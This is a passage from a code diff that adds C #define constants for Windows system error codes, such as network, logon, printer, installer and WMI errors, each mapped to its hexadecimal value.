0x4b6 +#define ERROR_NOT_CONTAINER 0x4b7 +#define ERROR_EXTENDED_ERROR 0x4b8 +#define ERROR_INVALID_GROUPNAME 0x4b9 +#define ERROR_INVALID_COMPUTERNAME 0x4ba +#define ERROR_INVALID_EVENTNAME 0x4bb +#define ERROR_INVALID_DOMAINNAME 0x4bc +#define ERROR_INVALID_SERVICENAME 0x4bd +#define ERROR_INVALID_NETNAME 0x4be +#define ERROR_INVALID_SHARENAME 0x4bf +#define ERROR_INVALID_PASSWORDNAME 0x4c0 +#define ERROR_INVALID_MESSAGENAME 0x4c1 +#define ERROR_INVALID_MESSAGEDEST 0x4c2 +#define ERROR_SESSION_CREDENTIAL_CONFLICT 0x4c3 +#define ERROR_REMOTE_SESSION_LIMIT_EXCEEDED 0x4c4 +#define ERROR_DUP_DOMAINNAME 0x4c5 +#define ERROR_NO_NETWORK 0x4c6 +#define ERROR_CANCELLED 0x4c7 +#define ERROR_USER_MAPPED_FILE 0x4c8 +#define ERROR_CONNECTION_REFUSED 0x4c9 +#define ERROR_GRACEFUL_DISCONNECT 0x4ca +#define ERROR_ADDRESS_ALREADY_ASSOCIATED 0x4cb +#define ERROR_ADDRESS_NOT_ASSOCIATED 0x4cc +#define ERROR_CONNECTION_INVALID 0x4cd +#define ERROR_CONNECTION_ACTIVE 0x4ce +#define ERROR_NETWORK_UNREACHABLE 0x4cf +#define ERROR_HOST_UNREACHABLE 0x4d0 +#define ERROR_PROTOCOL_UNREACHABLE 0x4d1 +#define ERROR_PORT_UNREACHABLE 0x4d2 +#define ERROR_REQUEST_ABORTED 0x4d3 +#define ERROR_CONNECTION_ABORTED 0x4d4 +#define ERROR_RETRY 0x4d5 +#define ERROR_CONNECTION_COUNT_LIMIT 0x4d6 +#define ERROR_LOGIN_TIME_RESTRICTION 0x4d7 +#define ERROR_LOGIN_WKSTA_RESTRICTION 0x4d8 +#define ERROR_INCORRECT_ADDRESS 0x4d9 +#define ERROR_ALREADY_REGISTERED 0x4da +#define ERROR_SERVICE_NOT_FOUND 0x4db +#define ERROR_NOT_AUTHENTICATED 0x4dc +#define ERROR_NOT_LOGGED_ON 0x4dd +#define ERROR_CONTINUE 0x4de +#define ERROR_ALREADY_INITIALIZED 0x4df +#define ERROR_NO_MORE_DEVICES 0x4e0 +#define ERROR_NO_SUCH_SITE 0x4e1 +#define ERROR_DOMAIN_CONTROLLER_EXISTS 0x4e2 +#define ERROR_ONLY_IF_CONNECTED 0x4e3 +#define ERROR_OVERRIDE_NOCHANGES 0x4e4 +#define ERROR_BAD_USER_PROFILE 0x4e5 +#define ERROR_NOT_SUPPORTED_ON_SBS 0x4e6 +#define ERROR_SERVER_SHUTDOWN_IN_PROGRESS 0x4e7 +#define ERROR_HOST_DOWN 0x4e8 +#define ERROR_NON_ACCOUNT_SID 0x4e9 +#define ERROR_NON_DOMAIN_SID 0x4ea +#define ERROR_APPHELP_BLOCK 0x4eb +#define ERROR_ACCESS_DISABLED_BY_POLICY 0x4ec +#define ERROR_REG_NAT_CONSUMPTION 0x4ed +#define ERROR_CSCSHARE_OFFLINE 0x4ee +#define ERROR_PKINIT_FAILURE 0x4ef +#define ERROR_SMARTCARD_SUBSYSTEM_FAILURE 0x4f0 +#define ERROR_DOWNGRADE_DETECTED 0x4f1 +#define ERROR_MACHINE_LOCKED 0x4f7 +#define ERROR_SMB_GUEST_LOGON_BLOCKED 0x4f8 +#define ERROR_CALLBACK_SUPPLIED_INVALID_DATA 0x4f9 +#define ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED 0x4fa +#define ERROR_DRIVER_BLOCKED 0x4fb +#define ERROR_INVALID_IMPORT_OF_NON_DLL 0x4fc +#define ERROR_ACCESS_DISABLED_WEBBLADE 0x4fd +#define ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER 0x4fe +#define ERROR_RECOVERY_FAILURE 0x4ff +#define ERROR_ALREADY_FIBER 0x500 +#define ERROR_ALREADY_THREAD 0x501 +#define ERROR_STACK_BUFFER_OVERRUN 0x502 +#define ERROR_PARAMETER_QUOTA_EXCEEDED 0x503 +#define ERROR_DEBUGGER_INACTIVE 0x504 +#define ERROR_DELAY_LOAD_FAILED 0x505 +#define ERROR_VDM_DISALLOWED 0x506 +#define ERROR_UNIDENTIFIED_ERROR 0x507 +#define ERROR_INVALID_CRUNTIME_PARAMETER 0x508 +#define ERROR_BEYOND_VDL 0x509 +#define ERROR_INCOMPATIBLE_SERVICE_SID_TYPE 0x50a +#define ERROR_DRIVER_PROCESS_TERMINATED 0x50b +#define ERROR_IMPLEMENTATION_LIMIT 0x50c +#define ERROR_PROCESS_IS_PROTECTED 0x50d +#define ERROR_SERVICE_NOTIFY_CLIENT_LAGGING 0x50e +#define ERROR_DISK_QUOTA_EXCEEDED 0x50f +#define ERROR_CONTENT_BLOCKED 0x510 +#define ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE 0x511 +#define ERROR_APP_HANG 0x512 +#define ERROR_INVALID_LABEL 0x513 +#define ERROR_NOT_ALL_ASSIGNED 0x514 +#define ERROR_SOME_NOT_MAPPED 0x515 +#define ERROR_NO_QUOTAS_FOR_ACCOUNT 0x516 +#define ERROR_LOCAL_USER_SESSION_KEY 0x517 +#define ERROR_NULL_LM_PASSWORD 0x518 +#define ERROR_UNKNOWN_REVISION 0x519 +#define ERROR_REVISION_MISMATCH 0x51a +#define ERROR_INVALID_OWNER 0x51b +#define ERROR_INVALID_PRIMARY_GROUP 0x51c +#define ERROR_NO_IMPERSONATION_TOKEN 0x51d +#define ERROR_CANT_DISABLE_MANDATORY 0x51e +#define ERROR_NO_LOGON_SERVERS 0x51f +#define ERROR_NO_SUCH_LOGON_SESSION 0x520 +#define ERROR_NO_SUCH_PRIVILEGE 0x521 +#define ERROR_PRIVILEGE_NOT_HELD 0x522 +#define ERROR_INVALID_ACCOUNT_NAME 0x523 +#define ERROR_USER_EXISTS 0x524 +#define ERROR_NO_SUCH_USER 0x525 +#define ERROR_GROUP_EXISTS 0x526 +#define ERROR_NO_SUCH_GROUP 0x527 +#define ERROR_MEMBER_IN_GROUP 0x528 +#define ERROR_MEMBER_NOT_IN_GROUP 0x529 +#define ERROR_LAST_ADMIN 0x52a +#define ERROR_WRONG_PASSWORD 0x52b +#define ERROR_ILL_FORMED_PASSWORD 0x52c +#define ERROR_PASSWORD_RESTRICTION 0x52d +#define ERROR_LOGON_FAILURE 0x52e +#define ERROR_ACCOUNT_RESTRICTION 0x52f +#define ERROR_INVALID_LOGON_HOURS 0x530 +#define ERROR_INVALID_WORKSTATION 0x531 +#define ERROR_PASSWORD_EXPIRED 0x532 +#define ERROR_ACCOUNT_DISABLED 0x533 +#define ERROR_NONE_MAPPED 0x534 +#define ERROR_TOO_MANY_LUIDS_REQUESTED 0x535 +#define ERROR_LUIDS_EXHAUSTED 0x536 +#define ERROR_INVALID_SUB_AUTHORITY 0x537 +#define ERROR_INVALID_ACL 0x538 +#define ERROR_INVALID_SID 0x539 +#define ERROR_INVALID_SECURITY_DESCR 0x53a +#define ERROR_BAD_INHERITANCE_ACL 0x53c +#define ERROR_SERVER_DISABLED 0x53d +#define ERROR_SERVER_NOT_DISABLED 0x53e +#define ERROR_INVALID_ID_AUTHORITY 0x53f +#define ERROR_ALLOTTED_SPACE_EXCEEDED 0x540 +#define ERROR_INVALID_GROUP_ATTRIBUTES 0x541 +#define ERROR_BAD_IMPERSONATION_LEVEL 0x542 +#define ERROR_CANT_OPEN_ANONYMOUS 0x543 +#define ERROR_BAD_VALIDATION_CLASS 0x544 +#define ERROR_BAD_TOKEN_TYPE 0x545 +#define ERROR_NO_SECURITY_ON_OBJECT 0x546 +#define ERROR_CANT_ACCESS_DOMAIN_INFO 0x547 +#define ERROR_INVALID_SERVER_STATE 0x548 +#define ERROR_INVALID_DOMAIN_STATE 0x549 +#define ERROR_INVALID_DOMAIN_ROLE 0x54a +#define ERROR_NO_SUCH_DOMAIN 0x54b +#define ERROR_DOMAIN_EXISTS 0x54c +#define ERROR_DOMAIN_LIMIT_EXCEEDED 0x54d +#define ERROR_INTERNAL_DB_CORRUPTION 0x54e +#define ERROR_INTERNAL_ERROR 0x54f +#define ERROR_GENERIC_NOT_MAPPED 0x550 +#define ERROR_BAD_DESCRIPTOR_FORMAT 0x551 +#define ERROR_NOT_LOGON_PROCESS 0x552 +#define ERROR_LOGON_SESSION_EXISTS 0x553 +#define ERROR_NO_SUCH_PACKAGE 0x554 +#define ERROR_BAD_LOGON_SESSION_STATE 0x555 +#define ERROR_LOGON_SESSION_COLLISION 0x556 +#define ERROR_INVALID_LOGON_TYPE 0x557 +#define ERROR_CANNOT_IMPERSONATE 0x558 +#define ERROR_RXACT_INVALID_STATE 0x559 +#define ERROR_RXACT_COMMIT_FAILURE 0x55a +#define ERROR_SPECIAL_ACCOUNT 0x55b +#define ERROR_SPECIAL_GROUP 0x55c +#define ERROR_SPECIAL_USER 0x55d +#define ERROR_MEMBERS_PRIMARY_GROUP 0x55e +#define ERROR_TOKEN_ALREADY_IN_USE 0x55f +#define ERROR_NO_SUCH_ALIAS 0x560 +#define ERROR_MEMBER_NOT_IN_ALIAS 0x561 +#define ERROR_MEMBER_IN_ALIAS 0x562 +#define ERROR_ALIAS_EXISTS 0x563 +#define ERROR_LOGON_NOT_GRANTED 0x564 +#define ERROR_TOO_MANY_SECRETS 0x565 +#define ERROR_SECRET_TOO_LONG 0x566 +#define ERROR_INTERNAL_DB_ERROR 0x567 +#define ERROR_TOO_MANY_CONTEXT_IDS 0x568 +#define ERROR_LOGON_TYPE_NOT_GRANTED 0x569 +#define ERROR_NT_CROSS_ENCRYPTION_REQUIRED 0x56a +#define ERROR_NO_SUCH_MEMBER 0x56b +#define ERROR_INVALID_MEMBER 0x56c +#define ERROR_TOO_MANY_SIDS 0x56d +#define ERROR_LM_CROSS_ENCRYPTION_REQUIRED 0x56e +#define ERROR_NO_INHERITANCE 0x56f +#define ERROR_FILE_CORRUPT 0x570 +#define ERROR_DISK_CORRUPT 0x571 +#define ERROR_NO_USER_SESSION_KEY 0x572 +#define ERROR_LICENSE_QUOTA_EXCEEDED 0x573 +#define ERROR_WRONG_TARGET_NAME 0x574 +#define ERROR_MUTUAL_AUTH_FAILED 0x575 +#define ERROR_TIME_SKEW 0x576 +#define ERROR_CURRENT_DOMAIN_NOT_ALLOWED 0x577 +#define ERROR_INVALID_WINDOW_HANDLE 0x578 +#define ERROR_INVALID_MENU_HANDLE 0x579 +#define ERROR_INVALID_CURSOR_HANDLE 0x57a +#define ERROR_INVALID_ACCEL_HANDLE 0x57b +#define ERROR_INVALID_HOOK_HANDLE 0x57c +#define ERROR_INVALID_DWP_HANDLE 0x57d +#define ERROR_TLW_WITH_WSCHILD 0x57e +#define ERROR_CANNOT_FIND_WND_CLASS 0x57f +#define ERROR_WINDOW_OF_OTHER_THREAD 0x580 +#define ERROR_HOTKEY_ALREADY_REGISTERED 0x581 +#define ERROR_CLASS_ALREADY_EXISTS 0x582 +#define ERROR_CLASS_DOES_NOT_EXIST 0x583 +#define ERROR_CLASS_HAS_WINDOWS 0x584 +#define ERROR_INVALID_INDEX 0x585 +#define ERROR_INVALID_ICON_HANDLE 0x586 +#define ERROR_PRIVATE_DIALOG_INDEX 0x587 +#define ERROR_LISTBOX_ID_NOT_FOUND 0x588 +#define ERROR_NO_WILDCARD_CHARACTERS 0x589 +#define ERROR_CLIPBOARD_NOT_OPEN 0x58a +#define ERROR_HOTKEY_NOT_REGISTERED 0x58b +#define ERROR_WINDOW_NOT_DIALOG 0x58c +#define ERROR_CONTROL_ID_NOT_FOUND 0x58d +#define ERROR_INVALID_COMBOBOX_MESSAGE 0x58e +#define ERROR_WINDOW_NOT_COMBOBOX 0x58f +#define ERROR_INVALID_EDIT_HEIGHT 0x590 +#define ERROR_DC_NOT_FOUND 0x591 +#define ERROR_INVALID_HOOK_FILTER 0x592 +#define ERROR_INVALID_FILTER_PROC 0x593 +#define ERROR_HOOK_NEEDS_HMOD 0x594 +#define ERROR_GLOBAL_ONLY_HOOK 0x595 +#define ERROR_JOURNAL_HOOK_SET 0x596 +#define ERROR_HOOK_NOT_INSTALLED 0x597 +#define ERROR_INVALID_LB_MESSAGE 0x598 +#define ERROR_SETCOUNT_ON_BAD_LB 0x599 +#define ERROR_LB_WITHOUT_TABSTOPS 0x59a +#define ERROR_DESTROY_OBJECT_OF_OTHER_THREAD 0x59b +#define ERROR_CHILD_WINDOW_MENU 0x59c +#define ERROR_NO_SYSTEM_MENU 0x59d +#define ERROR_INVALID_MSGBOX_STYLE 0x59e +#define ERROR_INVALID_SPI_VALUE 0x59f +#define ERROR_SCREEN_ALREADY_LOCKED 0x5a0 +#define ERROR_HWNDS_HAVE_DIFF_PARENT 0x5a1 +#define ERROR_NOT_CHILD_WINDOW 0x5a2 +#define ERROR_INVALID_GW_COMMAND 0x5a3 +#define ERROR_INVALID_THREAD_ID 0x5a4 +#define ERROR_NON_MDICHILD_WINDOW 0x5a5 +#define ERROR_POPUP_ALREADY_ACTIVE 0x5a6 +#define ERROR_NO_SCROLLBARS 0x5a7 +#define ERROR_INVALID_SCROLLBAR_RANGE 0x5a8 +#define ERROR_INVALID_SHOWWIN_COMMAND 0x5a9 +#define ERROR_NO_SYSTEM_RESOURCES 0x5aa +#define ERROR_NONPAGED_SYSTEM_RESOURCES 0x5ab +#define ERROR_PAGED_SYSTEM_RESOURCES 0x5ac +#define ERROR_WORKING_SET_QUOTA 0x5ad +#define ERROR_PAGEFILE_QUOTA 0x5ae +#define ERROR_COMMITMENT_LIMIT 0x5af +#define ERROR_MENU_ITEM_NOT_FOUND 0x5b0 +#define ERROR_INVALID_KEYBOARD_HANDLE 0x5b1 +#define ERROR_HOOK_TYPE_NOT_ALLOWED 0x5b2 +#define ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION 0x5b3 +#define ERROR_TIMEOUT 0x5b4 +#define ERROR_INVALID_MONITOR_HANDLE 0x5b5 +#define ERROR_INCORRECT_SIZE 0x5b6 +#define ERROR_SYMLINK_CLASS_DISABLED 0x5b7 +#define ERROR_SYMLINK_NOT_SUPPORTED 0x5b8 +#define ERROR_XML_PARSE_ERROR 0x5b9 +#define ERROR_XMLDSIG_ERROR 0x5ba +#define ERROR_RESTART_APPLICATION 0x5bb +#define ERROR_WRONG_COMPARTMENT 0x5bc +#define ERROR_AUTHIP_FAILURE 0x5bd +#define ERROR_NO_NVRAM_RESOURCES 0x5be +#define ERROR_NOT_GUI_PROCESS 0x5bf +#define ERROR_EVENTLOG_FILE_CORRUPT 0x5dc +#define ERROR_EVENTLOG_CANT_START 0x5dd +#define ERROR_LOG_FILE_FULL 0x5de +#define ERROR_EVENTLOG_FILE_CHANGED 0x5df +#define ERROR_CONTAINER_ASSIGNED 0x5e0 +#define ERROR_JOB_NO_CONTAINER 0x5e1 +#define ERROR_INVALID_TASK_NAME 0x60e +#define ERROR_INVALID_TASK_INDEX 0x60f +#define ERROR_THREAD_ALREADY_IN_TASK 0x610 +#define ERROR_INSTALL_SERVICE_FAILURE 0x641 +#define ERROR_INSTALL_USEREXIT 0x642 +#define ERROR_INSTALL_FAILURE 0x643 +#define ERROR_INSTALL_SUSPEND 0x644 +#define ERROR_UNKNOWN_PRODUCT 0x645 +#define ERROR_UNKNOWN_FEATURE 0x646 +#define ERROR_UNKNOWN_COMPONENT 0x647 +#define ERROR_UNKNOWN_PROPERTY 0x648 +#define ERROR_INVALID_HANDLE_STATE 0x649 +#define ERROR_BAD_CONFIGURATION 0x64a +#define ERROR_INDEX_ABSENT 0x64b +#define ERROR_INSTALL_SOURCE_ABSENT 0x64c +#define ERROR_INSTALL_PACKAGE_VERSION 0x64d +#define ERROR_PRODUCT_UNINSTALLED 0x64e +#define ERROR_BAD_QUERY_SYNTAX 0x64f +#define ERROR_INVALID_FIELD 0x650 +#define ERROR_DEVICE_REMOVED 0x651 +#define ERROR_INSTALL_ALREADY_RUNNING 0x652 +#define ERROR_INSTALL_PACKAGE_OPEN_FAILED 0x653 +#define ERROR_INSTALL_PACKAGE_INVALID 0x654 +#define ERROR_INSTALL_UI_FAILURE 0x655 +#define ERROR_INSTALL_LOG_FAILURE 0x656 +#define ERROR_INSTALL_LANGUAGE_UNSUPPORTED 0x657 +#define ERROR_INSTALL_TRANSFORM_FAILURE 0x658 +#define ERROR_INSTALL_PACKAGE_REJECTED 0x659 +#define ERROR_FUNCTION_NOT_CALLED 0x65a +#define ERROR_FUNCTION_FAILED 0x65b +#define ERROR_INVALID_TABLE 0x65c +#define ERROR_DATATYPE_MISMATCH 0x65d +#define ERROR_UNSUPPORTED_TYPE 0x65e +#define ERROR_CREATE_FAILED 0x65f +#define ERROR_INSTALL_TEMP_UNWRITABLE 0x660 +#define ERROR_INSTALL_PLATFORM_UNSUPPORTED 0x661 +#define ERROR_INSTALL_NOTUSED 0x662 +#define ERROR_PATCH_PACKAGE_OPEN_FAILED 0x663 +#define ERROR_PATCH_PACKAGE_INVALID 0x664 +#define ERROR_PATCH_PACKAGE_UNSUPPORTED 0x665 +#define ERROR_PRODUCT_VERSION 0x666 +#define ERROR_INVALID_COMMAND_LINE 0x667 +#define ERROR_INSTALL_REMOTE_DISALLOWED 0x668 +#define ERROR_SUCCESS_REBOOT_INITIATED 0x669 +#define ERROR_PATCH_TARGET_NOT_FOUND 0x66a +#define ERROR_PATCH_PACKAGE_REJECTED 0x66b +#define ERROR_INSTALL_TRANSFORM_REJECTED 0x66c +#define ERROR_INSTALL_REMOTE_PROHIBITED 0x66d +#define ERROR_PATCH_REMOVAL_UNSUPPORTED 0x66e +#define ERROR_UNKNOWN_PATCH 0x66f +#define ERROR_PATCH_NO_SEQUENCE 0x670 +#define ERROR_PATCH_REMOVAL_DISALLOWED 0x671 +#define ERROR_INVALID_PATCH_XML 0x672 +#define ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT 0x673 +#define ERROR_INSTALL_SERVICE_SAFEBOOT 0x674 +#define ERROR_FAIL_FAST_EXCEPTION 0x675 +#define ERROR_INSTALL_REJECTED 0x676 +#define ERROR_DYNAMIC_CODE_BLOCKED 0x677 +#define ERROR_NOT_SAME_OBJECT 0x678 +#define ERROR_STRICT_CFG_VIOLATION 0x679 +#define ERROR_SET_CONTEXT_DENIED 0x67c +#define ERROR_CROSS_PARTITION_VIOLATION 0x67d +#define ERROR_RETURN_ADDRESS_HIJACK_ATTEMPT 0x67e +#define ERROR_INVALID_USER_BUFFER 0x6f8 +#define ERROR_UNRECOGNIZED_MEDIA 0x6f9 +#define ERROR_NO_TRUST_LSA_SECRET 0x6fa +#define ERROR_NO_TRUST_SAM_ACCOUNT 0x6fb +#define ERROR_TRUSTED_DOMAIN_FAILURE 0x6fc +#define ERROR_TRUSTED_RELATIONSHIP_FAILURE 0x6fd +#define ERROR_TRUST_FAILURE 0x6fe +#define ERROR_NETLOGON_NOT_STARTED 0x700 +#define ERROR_ACCOUNT_EXPIRED 0x701 +#define ERROR_REDIRECTOR_HAS_OPEN_HANDLES 0x702 +#define ERROR_PRINTER_DRIVER_ALREADY_INSTALLED 0x703 +#define ERROR_UNKNOWN_PORT 0x704 +#define ERROR_UNKNOWN_PRINTER_DRIVER 0x705 +#define ERROR_UNKNOWN_PRINTPROCESSOR 0x706 +#define ERROR_INVALID_SEPARATOR_FILE 0x707 +#define ERROR_INVALID_PRIORITY 0x708 +#define ERROR_INVALID_PRINTER_NAME 0x709 +#define ERROR_PRINTER_ALREADY_EXISTS 0x70a +#define ERROR_INVALID_PRINTER_COMMAND 0x70b +#define ERROR_INVALID_DATATYPE 0x70c +#define ERROR_INVALID_ENVIRONMENT 0x70d +#define ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT 0x70f +#define ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT 0x710 +#define ERROR_NOLOGON_SERVER_TRUST_ACCOUNT 0x711 +#define ERROR_DOMAIN_TRUST_INCONSISTENT 0x712 +#define ERROR_SERVER_HAS_OPEN_HANDLES 0x713 +#define ERROR_RESOURCE_DATA_NOT_FOUND 0x714 +#define ERROR_RESOURCE_TYPE_NOT_FOUND 0x715 +#define ERROR_RESOURCE_NAME_NOT_FOUND 0x716 +#define ERROR_RESOURCE_LANG_NOT_FOUND 0x717 +#define ERROR_NOT_ENOUGH_QUOTA 0x718 +#define ERROR_INVALID_TIME 0x76d +#define ERROR_INVALID_FORM_NAME 0x76e +#define ERROR_INVALID_FORM_SIZE 0x76f +#define ERROR_ALREADY_WAITING 0x770 +#define ERROR_PRINTER_DELETED 0x771 +#define ERROR_INVALID_PRINTER_STATE 0x772 +#define ERROR_PASSWORD_MUST_CHANGE 0x773 +#define ERROR_DOMAIN_CONTROLLER_NOT_FOUND 0x774 +#define ERROR_ACCOUNT_LOCKED_OUT 0x775 +#define ERROR_NO_SITENAME 0x77f +#define ERROR_CANT_ACCESS_FILE 0x780 +#define ERROR_CANT_RESOLVE_FILENAME 0x781 +#define ERROR_KM_DRIVER_BLOCKED 0x78a +#define ERROR_CONTEXT_EXPIRED 0x78b +#define ERROR_PER_USER_TRUST_QUOTA_EXCEEDED 0x78c +#define ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED 0x78d +#define ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED 0x78e +#define ERROR_AUTHENTICATION_FIREWALL_FAILED 0x78f +#define ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED 0x790 +#define ERROR_NTLM_BLOCKED 0x791 +#define ERROR_PASSWORD_CHANGE_REQUIRED 0x792 +#define ERROR_LOST_MODE_LOGON_RESTRICTION 0x793 +#define ERROR_INVALID_PIXEL_FORMAT 0x7d0 +#define ERROR_BAD_DRIVER 0x7d1 +#define ERROR_INVALID_WINDOW_STYLE 0x7d2 +#define ERROR_METAFILE_NOT_SUPPORTED 0x7d3 +#define ERROR_TRANSFORM_NOT_SUPPORTED 0x7d4 +#define ERROR_CLIPPING_NOT_SUPPORTED 0x7d5 +#define ERROR_INVALID_CMM 0x7da +#define ERROR_INVALID_PROFILE 0x7db +#define ERROR_TAG_NOT_FOUND 0x7dc +#define ERROR_TAG_NOT_PRESENT 0x7dd +#define ERROR_DUPLICATE_TAG 0x7de +#define ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE 0x7df +#define ERROR_PROFILE_NOT_FOUND 0x7e0 +#define ERROR_INVALID_COLORSPACE 0x7e1 +#define ERROR_ICM_NOT_ENABLED 0x7e2 +#define ERROR_DELETING_ICM_XFORM 0x7e3 +#define ERROR_INVALID_TRANSFORM 0x7e4 +#define ERROR_COLORSPACE_MISMATCH 0x7e5 +#define ERROR_INVALID_COLORINDEX 0x7e6 +#define ERROR_PROFILE_DOES_NOT_MATCH_DEVICE 0x7e7 +#define ERROR_CONNECTED_OTHER_PASSWORD 0x83c +#define ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT 0x83d +#define ERROR_BAD_USERNAME 0x89a +#define ERROR_NOT_CONNECTED 0x8ca +#define ERROR_OPEN_FILES 0x961 +#define ERROR_ACTIVE_CONNECTIONS 0x962 +#define ERROR_DEVICE_IN_USE 0x964 +#define ERROR_UNKNOWN_PRINT_MONITOR 0xbb8 +#define ERROR_PRINTER_DRIVER_IN_USE 0xbb9 +#define ERROR_SPOOL_FILE_NOT_FOUND 0xbba +#define ERROR_SPL_NO_STARTDOC 0xbbb +#define ERROR_SPL_NO_ADDJOB 0xbbc +#define ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED 0xbbd +#define ERROR_PRINT_MONITOR_ALREADY_INSTALLED 0xbbe +#define ERROR_INVALID_PRINT_MONITOR 0xbbf +#define ERROR_PRINT_MONITOR_IN_USE 0xbc0 +#define ERROR_PRINTER_HAS_JOBS_QUEUED 0xbc1 +#define ERROR_SUCCESS_REBOOT_REQUIRED 0xbc2 +#define ERROR_SUCCESS_RESTART_REQUIRED 0xbc3 +#define ERROR_PRINTER_NOT_FOUND 0xbc4 +#define ERROR_PRINTER_DRIVER_WARNED 0xbc5 +#define ERROR_PRINTER_DRIVER_BLOCKED 0xbc6 +#define ERROR_PRINTER_DRIVER_PACKAGE_IN_USE 0xbc7 +#define ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND 0xbc8 +#define ERROR_FAIL_REBOOT_REQUIRED 0xbc9 +#define ERROR_FAIL_REBOOT_INITIATED 0xbca +#define ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED 0xbcb +#define ERROR_PRINT_JOB_RESTART_REQUIRED 0xbcc +#define ERROR_INVALID_PRINTER_DRIVER_MANIFEST 0xbcd +#define ERROR_PRINTER_NOT_SHAREABLE 0xbce +#define ERROR_SERVER_SERVICE_CALL_REQUIRES_SMB1 0xbcf +#define ERROR_NETWORK_AUTHENTICATION_PROMPT_CANCELED 0xbd0 +#define ERROR_REMOTE_MAILSLOTS_DEPRECATED 0xbd1 +#define ERROR_REQUEST_PAUSED 0xbea +#define ERROR_APPEXEC_CONDITION_NOT_SATISFIED 0xbf4 +#define ERROR_APPEXEC_HANDLE_INVALIDATED 0xbf5 +#define ERROR_APPEXEC_INVALID_HOST_GENERATION 0xbf6 +#define ERROR_APPEXEC_UNEXPECTED_PROCESS_REGISTRATION 0xbf7 +#define ERROR_APPEXEC_INVALID_HOST_STATE 0xbf8 +#define ERROR_APPEXEC_NO_DONOR 0xbf9 +#define ERROR_APPEXEC_HOST_ID_MISMATCH 0xbfa +#define ERROR_APPEXEC_UNKNOWN_USER 0xbfb +#define ERROR_APPEXEC_APP_COMPAT_BLOCK 0xbfc +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT 0xbfd +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_TERMINATION 0xbfe +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_LICENSING 0xbff +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_RESOURCES 0xc00 +#define ERROR_VRF_VOLATILE_CFG_AND_IO_ENABLED 0xc08 +#define ERROR_VRF_VOLATILE_NOT_STOPPABLE 0xc09 +#define ERROR_VRF_VOLATILE_SAFE_MODE 0xc0a +#define ERROR_VRF_VOLATILE_NOT_RUNNABLE_SYSTEM 0xc0b +#define ERROR_VRF_VOLATILE_NOT_SUPPORTED_RULECLASS 0xc0c +#define ERROR_VRF_VOLATILE_PROTECTED_DRIVER 0xc0d +#define ERROR_VRF_VOLATILE_NMI_REGISTERED 0xc0e +#define ERROR_VRF_VOLATILE_SETTINGS_CONFLICT 0xc0f +#define ERROR_CAR_LKD_IN_PROGRESS 0xc10 +#define ERROR_DIF_ZERO_SIZE_INFORMATION 0xc73 +#define ERROR_DIF_DRIVER_PLUGIN_MISMATCH 0xc74 +#define ERROR_DIF_DRIVER_THUNKS_NOT_ALLOWED 0xc75 +#define ERROR_DIF_IOCALLBACK_NOT_REPLACED 0xc76 +#define ERROR_DIF_LIVEDUMP_LIMIT_EXCEEDED 0xc77 +#define ERROR_DIF_VOLATILE_SECTION_NOT_LOCKED 0xc78 +#define ERROR_DIF_VOLATILE_DRIVER_HOTPATCHED 0xc79 +#define ERROR_DIF_VOLATILE_INVALID_INFO 0xc7a +#define ERROR_DIF_VOLATILE_DRIVER_IS_NOT_RUNNING 0xc7b +#define ERROR_DIF_VOLATILE_PLUGIN_IS_NOT_RUNNING 0xc7c +#define ERROR_DIF_VOLATILE_PLUGIN_CHANGE_NOT_ALLOWED 0xc7d +#define ERROR_DIF_VOLATILE_NOT_ALLOWED 0xc7e +#define ERROR_DIF_BINDING_API_NOT_FOUND 0xc7f +#define ERROR_IO_REISSUE_AS_CACHED 0xf6e +#define ERROR_WINS_INTERNAL 0xfa0 +#define ERROR_CAN_NOT_DEL_LOCAL_WINS 0xfa1 +#define ERROR_STATIC_INIT 0xfa2 +#define ERROR_INC_BACKUP 0xfa3 +#define ERROR_FULL_BACKUP 0xfa4 +#define ERROR_REC_NON_EXISTENT 0xfa5 +#define ERROR_RPL_NOT_ALLOWED 0xfa6 +#define ERROR_DHCP_ADDRESS_CONFLICT 0x1004 +#define ERROR_WMI_GUID_NOT_FOUND 0x1068 +#define ERROR_WMI_INSTANCE_NOT_FOUND 0x1069 +#define ERROR_WMI_ITEMID_NOT_FOUND 0x106a +#define ERROR_WMI_TRY_AGAIN 0x106b +#define ERROR_WMI_DP_NOT_FOUND 0x106c +#define ERROR_WMI_UNRESOLVED_INSTANCE_REF 0x106d +#define ERROR_WMI_ALREADY_ENABLED 0x106e +#define ERROR_WMI_GUID_DISCONNECTED 0x106f +#define ERROR_WMI_SERVER_UNAVAILABLE 0x1070 +#define ERROR_WMI_DP_FAILED 0x1071 +#define ERROR_WMI_INVALID_MOF 0x1072 +#define ERROR_WMI_INVALID_REGINFO 0x1073 +#define ERROR_WMI_ALREADY_DISABLED 0x1074 +#define ERROR_WMI_READ_ONLY 0x1075 +#define ERROR_WMI_SET_FAILURE 0x1076 +#define ERROR_NOT_APPCONTAINER 0x109a +#define ERROR_APPCONTAINER_REQUIRED 0x109b +#define ERROR_NOT_SUPPORTED_IN_APPCONTAINER 0x109c +#define ERROR_INVALID_PACKAGE_SID_LENGTH 0x109d +#define ERROR_INVALID_MEDIA 0x10cc +#define ERROR_INVALID_LIBRARY 0x10cd +#define ERROR_INVALID_MEDIA_POOL 0x10ce +#define ERROR_DRIVE_MEDIA_MISMATCH 0x10cf +#define ERROR_MEDIA_OFFLINE 0x10d0 +#define ERROR_LIBRARY_OFFLINE 0x10d1 +#define ERROR_EMPTY 0x10d2 +#define ERROR_NOT_EMPTY 0x10d3 +#define ERROR_MEDIA_UNAVAILABLE 0x10d4 +#define ERROR_RESOURCE_DISABLED 0x10d5 +#define ERROR_INVALID_CLEANER 0x10d6 